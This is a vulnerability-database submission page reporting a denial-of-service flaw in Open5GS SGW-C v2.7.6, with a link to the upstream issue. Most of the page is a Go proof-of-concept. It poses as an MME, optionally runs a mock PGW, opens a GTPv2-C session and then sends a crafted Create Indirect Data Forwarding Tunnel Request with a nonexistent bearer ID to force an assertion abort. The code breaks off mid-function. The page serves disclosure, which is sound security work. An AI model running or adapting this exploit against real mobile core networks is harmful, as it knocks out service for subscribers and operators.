Súbít #728987: Open5GS SGWC v2.7.6 Denial of Servicebayani

KuraOpen5GS SGWC v2.7.6 Denial of Service
Gaskiya### Open5GS Release, Revision, or Tag v2.7.6 ### Description SGW-C can be forced to abort by sending a crafted GTPv2-C Create Indirect Data Forwarding Tunnel Request on S11 with an invalid EPS Bearer ID (EBI) that does not correspond to any existing bearer in the session. ### Steps to reproduce 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` package main import ( "flag" "fmt" "log" "math/rand" "net" "os" "strings" "sync/atomic" "time" "github.com/wmnsk/go-gtp/gtpv2" "github.com/wmnsk/go-gtp/gtpv2/ie" gtpv2msg "github.com/wmnsk/go-gtp/gtpv2/message" ) // PB3-003 PoC: CreateIndirectDataForwardingTunnelRequest with invalid EBI triggers ogs_assert(bearer) // Target: Open5GS SGW-C sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request // Flow: // 1) Act as MME: send CreateSessionRequest to SGW-C (S11). // 2) Act as PGW: respond to SGW-C's S5-C CreateSessionRequest (embedded mock or external). // 3) Act as MME: send CreateIndirectDataForwardingTunnelRequest with invalid EBI -> bearer lookup NULL -> assert. func main() { runPGW := flag.Bool("run-pgw", true, "Start embedded PGW-C mock") pgwBind := flag.String("pgw-bind", ":2123", "PGW-C listen address (host:port)") pgwPAA := flag.String("pgw-paa", "x.x.x.x", "IPv4 PAA to return in CSR") pgwDefEBI := flag.Uint("pgw-ebi", 5, "Default EPS Bearer ID to return if none in CSR") pgwCtrlTeid := flag.Uint("pgw-ctrl-teid", 0, "PGW S5C TEID to advertise (0=random non-zero)") pgwUpTeid := flag.Uint("pgw-up-teid", 0, "PGW S5U TEID to advertise (0=random non-zero)") pgwIgnoreMBR := flag.Bool("pgw-ignore-mbr", false, "Do not respond to ModifyBearerRequest") dumpSGWS5U := flag.String("dump-sgw-s5u", "", "Write SGW S5-U TEID/IP from CSR to file (optional)") target := flag.String("target", "", "SGW-C S11 IP (required)") port := flag.Int("port", 2123, "GTP-C port") apn := flag.String("apn", "internet", "APN to request") imsi := flag.String("imsi", "001011234567890", "IMSI to include in CSR") mcc := flag.String("mcc", "001", "Serving network MCC") mnc := flag.String("mnc", "01", "Serving network MNC") sgwTEID := flag.Uint("sgw-teid", 0, "Skip CSR: use this SGW S11 TEID directly") bearerEbi := flag.Uint("bearer-ebi", 5, "Existing bearer EBI when using --sgw-teid") pgwIP := flag.String("pgw-ip", "", "PGW control-plane IP for S5/S8 (default: target)") mmeTEID := flag.Uint("mme-teid", 0, "MME S11 TEID to advertise (0=random)") pgwTEID := flag.Uint("pgw-teid", 0, "PGW S5/S8 TEID to advertise in CSR (0=random)") enbIP := flag.String("enb-ip", "x.x.x.x", "eNB S1-U IPv4 for CSR and CreateIndirect") enbTEID := flag.Uint("enb-teid", 0, "eNB S1-U TEID for CSR and CreateIndirect (0=random non-zero)") laddr := flag.String("laddr", "", "Local IP to bind") seq := flag.Uint("seq", 0, "Base GTPv2 sequence number (0=random)") invalidEbi := flag.Uint("invalid-ebi", 6, "Invalid EBI for CreateIndirect (non-existent)") flag.Parse() if *target == "" { log.Fatal("Error: --target is required") } if *invalidEbi > 255 { log.Fatalf("invalid-ebi out of uint8 range: %d", *invalidEbi) } if *bearerEbi > 255 { log.Fatalf("bearer-ebi out of uint8 range: %d", *bearerEbi) } rand.Seed(time.Now().UnixNano()) conn, localIP := dialGTPv2(*target, *port, *laddr) defer conn.Close() var uplaneCh chan uPlaneInfo if *runPGW { uplaneCh = make(chan uPlaneInfo, 1) if *pgwIP == "" { if host := hostFromAddrMaybe(*pgwBind); host != "" { *pgwIP = host } } if *pgwIP == "" { *pgwIP = localIP } pgwConn, err := startPGWMock(*pgwBind, *pgwPAA, uint8(*pgwDefEBI), uint32(*pgwCtrlTeid), uint32(*pgwUpTeid), *pgwIgnoreMBR, *dumpSGWS5U, *pgwIP, uplaneCh) if err != nil { log.Fatalf("start PGW mock: %v", err) } defer pgwConn.Close() time.Sleep(150 * time.Millisecond) } else if *pgwIP == "" { *pgwIP = *target } baseSeq := initBaseSeq(uint32(*seq)) mmeTeid := randNonZeroUint32(uint32(*mmeTEID)) pgwTeid := randNonZeroUint32(uint32(*pgwTEID)) enbTeid := randNonZeroUint32(uint32(*enbTEID)) sess := sessionInfo{ sgwTeid: uint32(*sgwTEID), mmeTeid: mmeTeid, ebi: uint8(*bearerEbi), localIP: localIP, } seqVal := baseSeq if sess.sgwTeid == 0 { log.Printf("[*] Sending CreateSessionRequest seq=0x%x mme-teid=0x%x pgw-teid=0x%x", seqVal, mmeTeid, pgwTeid) csr, err := buildCSR(seqVal, *imsi, *apn, localIP, *pgwIP, *mcc, *mnc, mmeTeid, pgwTeid, enbTeid, *enbIP, sess.ebi) if err != nil { log.Fatalf("build CSR: %v", err) } if err := sendMessage(conn, csr); err != nil { log.Fatalf("send CSR: %v", err) } sgwTeid, ebi, err := waitCSRResponse(conn, 4*time.Second) if err != nil { log.Fatalf("wait CSR response: %v", err) } sess.sgwTeid = sgwTeid sess.ebi = ebi log.Printf("[+] SGW S11 TEID=0x%x (EBI=%d)", sess.sgwTeid, sess.ebi) seqVal = nextSeq(seqVal) } else { log.Printf("[*] Using provided SGW S11 TEID=0x%x (EBI=%d)", sess.sgwTeid, sess.ebi) } if uint8(*invalidEbi) == sess.ebi { log.Printf("[!] invalid-ebi equals existing bearer EBI (%d); change it to a non-existent value", sess.ebi) } if err := sendCreateIndirect(conn, sess, seqVal, uint8(*invalidEbi), enbTeid, *enbIP); err != nil { log.Fatalf("send CreateIndirectDataForwardingTunnelRequest: %v", err) } log.Printf("[+] Sent CreateIndirectDataForwardingTunnelRequest seq=0x%x invalid-ebi=%d", seqVal, *invalidEbi) log.Println("[*] Monitor SGW-C for PB3-003 assertion on invalid EBI.") } type sessionInfo struct { sgwTeid uint32 mmeTeid uint32 ebi uint8 localIP string } type uPlaneInfo struct { ip string teid uint32 } func dialGTPv2(target string, port int, laddr string) (*net.UDPConn, string) { var lp *net.UDPAddr if laddr != "" { var err error lp, err = net.ResolveUDPAddr("udp", net.JoinHostPort(laddr, "0")) if err != nil { log.Fatalf("resolve laddr: %v", err) } } rp, err := net.ResolveUDPAddr("udp", net.JoinHostPort(target, fmt.Sprintf("%d", port))) if err != nil { log.Fatalf("resolve raddr: %v", err) } conn, err := net.DialUDP("udp", lp, rp) if err != nil { log.Fatalf("dial udp: %v", err) } localIP := "" if udpAddr, ok := conn.LocalAddr().(*net.UDPAddr); ok && udpAddr.IP != nil { localIP = udpAddr.IP.String() } if localIP == "" { log.Fatal("local IP unknown (set --laddr)") } log.Printf("[*] Target %s (local %s)", rp, localIP) return conn, localIP } func initBaseSeq(v uint32) uint32 { if v != 0 { return v } seq := rand.Uint32() & 0x00ffffff if seq == 0 { seq = 1 } return seq } func nextSeq(v uint32) uint32 { v++ if v == 0 || v > 0x00ffffff { return 1 } return v } func randNonZeroUint32(v uint32) uint32 { if v != 0 { return v } r := rand.Uint32() if r == 0 { return 1 } return r } func buildCSR(seq uint32, imsi, apn, localIP, pgwIP, mcc, mnc string, mmeTEID, pgwTEID, enbTEID uint32, enbIP string, ebi uint8) (*gtpv2msg.CreateSessionRequest, error) { if localIP == "" || pgwIP == "" || enbIP == "" { return nil, fmt.Errorf("missing local, PGW, or eNB IP") } senderFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11MMEGTPC, mmeTEID, localIP, "") pgwFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, pgwTEID, pgwIP, "").WithInstance(1) enbFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS1UeNodeBGTPU, enbTEID, enbIP, "") bearer := ie.NewBearerContext( ie.NewEPSBearerID(ebi), enbFTEID, ie.NewBearerQoS(1, 2, 1, 9, 50000, 50000, 50000, 50000), ) return gtpv2msg.NewCreateSessionRequest( 0, seq, ie.NewIMSI(imsi), ie.NewMSISDN("0000000000"), ie.NewMobileEquipmentIdentity("353490061234560"), ie.NewServingNetwork(mcc, mnc), ie.NewRATType(gtpv2.RATTypeEUTRAN), ie.NewPDNType(gtpv2.PDNTypeIPv4), ie.NewSelectionMode(gtpv2.SelectionModeMSorNetworkProvidedAPNSubscribedVerified), ie.NewAccessPointName(apn), ie.NewAggregateMaximumBitRate(500000, 500000), senderFTEID, pgwFTEID, bearer, ), nil } func waitCSRResponse(conn *net.UDPConn, timeout time.Duration) (uint32, uint8, error) { buf := make([]byte, 2048) _ = conn.SetReadDeadline(time.Now().Add(timeout)) n, err := conn.Read(buf) _ = conn.SetReadDeadline(time.Time{}) if err != nil { return 0, 0, fmt.Errorf("read CSR response: %w", err) } msg, err := gtpv2msg.Parse(buf[:n]) if err != nil { return 0, 0, fmt.Errorf("parse CSR response: %w", err) } res, ok := msg.(*gtpv2msg.CreateSessionResponse) if !ok { return 0, 0, fmt.Errorf("unexpected message type %T", msg) } if res.Cause == nil { return 0, 0, fmt.Errorf("no Cause IE in response") } cause, err := res.Cause.Cause() if err != nil { return 0, 0, fmt.Errorf("parse Cause: %w", err) } if cause != gtpv2.CauseRequestAccepted && cause != gtpv2.CauseRequestAcceptedPartially { return 0, 0, fmt.Errorf("CSR rejected: cause=%d", cause) } if res.SenderFTEIDC == nil { return 0, 0, fmt.Errorf("no SGW S11 F-TEID in response") } sgwTeid, err := res.SenderFTEIDC.TEID() if err != nil { return 0, 0, fmt.Errorf("parse SGW TEID: %w", err) } ebi := uint8(0) if res.EBI != nil { if v, err := res.EBI.EPSBearerID(); err == nil { ebi = v } } if ebi == 0 { for _, b := range res.BearerContextsCreated { if v, err := b.EPSBearerID(); err == nil { ebi = v break } } } if ebi == 0 { ebi = 5 } return sgwTeid, ebi, nil } func sendMessage(conn *net.UDPConn, msg gtpv2msg.Message) error { b, err := gtpv2msg.Marshal(msg) if err != nil { return fmt.Errorf("marshal %s: %w", msg.MessageTypeName(), err) } if _, err := conn.Write(b); err != nil { return fmt.Errorf("send %s: %w", msg.MessageTypeName(), err) } retur
Manga⚠️ https://github.com/open5gs/open5gs/issues/4231
Màdùmga
 LinZiyu (UID 94035)
Furta01/01/2026 12:53 (2 Wurɗi 전)
Gargajiya01/16/2026 17:36 (15 days later)
HalittaShingilam
VulDB gite341597 [Open5GS har 2.7.6 /src/sgwc/s11-handler.c Kari na aiki]
Nganji20

Might our Artificial Intelligence support you?

Check our Alexa App!